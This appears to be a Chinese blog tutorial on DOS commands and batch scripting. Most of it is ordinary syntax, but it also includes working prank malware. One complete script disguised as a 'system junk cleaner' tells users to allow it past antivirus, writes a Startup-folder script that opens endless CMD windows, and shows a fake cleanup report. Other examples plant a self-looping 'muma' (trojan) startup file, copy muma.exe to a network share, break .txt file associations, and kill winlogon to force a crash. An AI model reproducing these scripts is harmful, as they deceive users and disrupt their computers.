当前位置:   article > 正文

Dos命令行基础知识讲解及批处理的编写_dos批处理文件怎么写

dos批处理文件怎么写

一、基本DOS命令

  1. md wenjianjia 创建文件夹
  2. rd wenjianjia 删除文件夹
  3. copy con a.txt 动态写入文本内容 ctrl+z 回车退出保存
  4. type a.txt 查看所有文本内容
  5. type a.txt | more 分页查看
  6. del a.txt 删除文件
  7. del *.txt 删除以txt结尾的所有文件
  8. del *.* 删除所有文件
  9. del a.txt /q 不提示直接删除
  10. del *.txt /s/q 递归删除且不提示 文件夹保留 文件删除
  11. ren haha.txt hei.txt 改名
  12. move 移动文件
  13. copy muma.exe \\10.0.0.2\c:\ 网络传输
  14. assoc .txt=exefile 修改文件打开方式 以txt结尾的当作程序运行(恶作剧类)
  15. fsutil file createnew d:\system.ini 300000000 在d盘生成一个system.ini文件 占用内存300000000字节
  16. attrib +h +s +a 文件夹 修改文件权限 +h隐藏文件 +s提升位系统文件 +a只读权限
  17. shutdown -s -t 数字 定时关机 +f 强制
  18. shutdown -a 取消一切定时
  19. shutdown -r -t 定时开机 +f 强制
  20. shutdown -l -t 200 -f -c "认命吧!!!" -c 描述信息
  21. shutdown -l 注销
  22. color 0a 修改命令行字体背景颜色
  23. color ? 查询颜色配置

二、批处理编写

1.1、概述
批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 。目前比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况,需要使用if、for、goto等命令控制程式的运行过程,如同C、Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程式是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何当前系统下可运行的程序都可以放在批处理文件中运行。

1.2、批处理作用

  • 自上而下成批的处理每一行DOS命令,直到执行最后一条!

1.3、如何创建批处理

  • 扩展名:.bat
  • 创建方法:新建一个记事本文件,然后将扩展名改为.bat

注:修改扩展名时,需要将文件的扩展名显示出来后在进行修改!
案例:新建一个记事本文件,然后将扩展名改为.bat 内容如下:
d:
cd
cd tmp
del ./s/q

1.4、批处理基本语法
@echo off

  • 作用:关闭回显功能,也就是屏蔽执行过程,建议放置在批处理首行。

pause

  • 作用:暂停批处理运行

案例:
@echo off
pause

执行结果如下:

在这里插入图片描述

title

  • 作用:给程序添加标题

color 0a

  • 作用:修改命令行背景和字体颜色

上述两条命令的执行结果如下:

在这里插入图片描述

echo.

  • 作用:空一行

:menu

  • 作用:给代码块命名

goto menu

  • 作用:跳转代码块,跳转到menu位置的代码开始执行该代码块的命令。
  1. @echo off 关闭回显
  2. :menu 给代码块命名为menu
  3. title my qq password 修改程序标题
  4. color 0a 修改命令行背景和字体颜色
  5. echo ===================
  6. echo hello world
  7. echo ===================
  8. pause 暂停
  9. echo. 空行
  10. echo.
  11. :d 给代码块命名为d
  12. echo 执行到d代码块
  13. goto menu 跳转到menu代码块,执行该代码块下的命令

代码执行结果:

在这里插入图片描述

正确输出不打印:>nul (即“1>nul”;屏蔽操作成功显示的信息,但是出错还是会显示)
错误输出不打印:>2 nul (是屏蔽操作失败显示的信息,如果成功依旧显示。)

ping 127.136.27.1 >nul 2>nul 无论能不能ping通都不打印(全部都屏蔽,成功的还是失败的都不显示)

%input%

  • 作用:获取input这个变量的值

start

  • 作用:开启新的cmd命令行窗口

if "%input%"=="1" goto a

  • 作用:判断语句,如果input这个变量等于1就跳转到a的代码块,执行a代码块下的命令

set /p input=请输入关机时间(单位/秒):

  • 作用:等待用户输入,并将输入的值赋给input这个变量

用户自定义关机时间

%userprofile%

  • 特殊的变量值,获取当前用户家目录的绝对路径
  1. C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 开机启动项路径
  2. "%userprofile%\「开始」菜单\程序\启动\muma.bat" 在开机启动项中生成一个程序muma.bat
  3. %userprofile% == C:\Documents and Settings\Administrator

在这里插入图片描述

1.5、命令组合

  1. @echo off
  2. color 0a
  3. title 我的qq
  4. :menu
  5. cls
  6. echo ===========================
  7. echo 菜单
  8. echo 1.定时关机
  9. echo 2.取消定时
  10. echo 3.退出
  11. echo 4.在开机启动项添加脚本
  12. echo ===========================
  13. set /p input=请选择:
  14. if "%input%"=="1" goto a
  15. if "%input%"=="2" goto b
  16. if "%input%"=="3" goto c
  17. if "%input%"=="4" goto d
  18. echo 请输入正确选项:
  19. pause
  20. goto menu
  21. :a
  22. set /p num=请输入想要关机的时间:
  23. shutdown -s -f -t %num%
  24. goto menu
  25. :b
  26. shutdown -a
  27. goto menu
  28. :c
  29. exit
  30. :d
  31. echo :d >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
  32. echo start >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
  33. echo goto d >> "%userprofile%\「开始」菜单\程序\启动\muma.bat"
  34. echo 脚本制作完成,下次开机启动
  35. pause
  36. goto menu

在这里插入图片描述

ntsd -c q -pn winlogon.exe

  • 作用:强制杀死登录进程(蓝屏)适用win2003

taskkill /im explorer.exe /f

  • 作用:强制杀死桌面

开启explorer.exe:
start C:\windows\explorer.exe

netstat -an

  • 查看本机开放所有端口

在这里插入图片描述

批处理案例:

功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口

  1. @echo off
  2. title 系统垃圾清理
  3. color 2f
  4. echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
  5. echo.
  6. echo.
  7. echo :start>c:\windows\windows.bat
  8. echo start cmd>>c:\windows\windows.bat
  9. echo goto start>>c:\windows\windows.bat
  10. copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ >nul
  11. if %errorlevel%==0 goto next
  12. copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
  13. if %errorlevel%==1 goto error
  14. :next
  15. echo.
  16. echo.
  17. echo ====== 垃圾清理中,请不要关闭窗口 =====
  18. echo.
  19. ping -n 6 127.0.0.1 >nul
  20. echo.
  21. echo ====== 垃圾清理完毕,共清理垃圾512M====
  22. echo.
  23. echo.
  24. echo ======建议立即重启电脑==========
  25. pause
  26. goto ex
  27. :error
  28. echo.
  29. echo.
  30. echo ====== 程序运行失败,请使用【管理员权限】重新运行!======
  31. echo.
  32. pause
  33. goto ex
  34. :ex
  35. exit

三、执行exe程序并传参

  1. @echo off
  2. color 0a
  3. title 图片去水印
  4. :ImageUrl
  5. echo.
  6. echo.
  7. echo.
  8. set /p input=请输入图片绝对路径:
  9. cmd.exe -imageIn "%input%" imgurl -txtIn 'hello' -source WEIBO -outputUrl
  10. echo.
  11. echo.
  12. echo.
  13. goto ImageUrl

在这里插入图片描述

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/177012?site
推荐阅读
相关标签
  

闽ICP备14008679号